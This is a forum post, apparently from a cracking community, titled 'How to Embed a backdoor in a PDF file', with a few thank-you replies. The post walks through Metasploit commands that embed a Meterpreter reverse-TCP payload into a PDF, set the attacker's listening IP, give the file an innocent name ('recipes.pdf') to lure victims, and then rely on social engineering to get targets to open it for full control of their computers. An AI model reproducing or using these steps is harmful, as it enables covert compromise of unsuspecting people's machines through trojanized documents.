Sign in to follow this  
Eminem

How to Embed a backdoor in a PDF file

Recommended Posts

[hide]

 

Step 1)Run Metasploit

 

Step 2) Find the Appropriate Exploit.

 

I will search metasploits database for an exploit for adobe pdf on windows, using this command:

 

●Code:msf > search type:exploit platform:windows adobe pdf

 

You should see the exploit "exploit/windows/fileformat/adobe_pdf_embedded_exe", which we will use:

 

●Code:msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe

 

Step 3) Set the Payload

 

I will use the meterpreter payload again, because it is one of the most powerful payloads available to us:

 

●Code:msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp

 

Step 4) Set the exploit options

 

First, display the required options for the exploit:

 

●Code:msf > exploit (adobe_pdf_embedded_exe) > show options

 

You can see that we must provide an existing PDF file to the INFILENAME option in which to embed the meterpreter payload. I will call it "hemantexample.pdf":

 

●Code: msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME example.pdf

 

The next option is the output file name, FILENAME. Change this to something innocent that will attract users to open it:

msf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf

 

Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8:

 

●Code:msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.1.8

 

Step 5) Run the Exploit.

 

Now that all the options are set, we can run the exploit like this:

 

●Code: msf > exploit (adobe_pdf_embedded_exe) > exploit

 

Metasploit has created a PDF named recipes.pdf that contains the Meterpeter listener. Now, simply get users to open the pdf (Social Engineering again), and you will get instant control of their computer easy as fucking smile :)

 

[/hide]

 

 

 

Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful the please share my effort 

Share this post


Link to post
Share on other sites

Invite you to my contacts u

Share this post


Link to post
Share on other sites

thanks for it dude

Share this post


Link to post
Share on other sites

Cracked.to is a community forum that suits basically everyone. We provide cracking tutorials, tools, combolists, marketplace and many more stuff! You can also learn many things here, meet new friends and have a lot of fun!

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this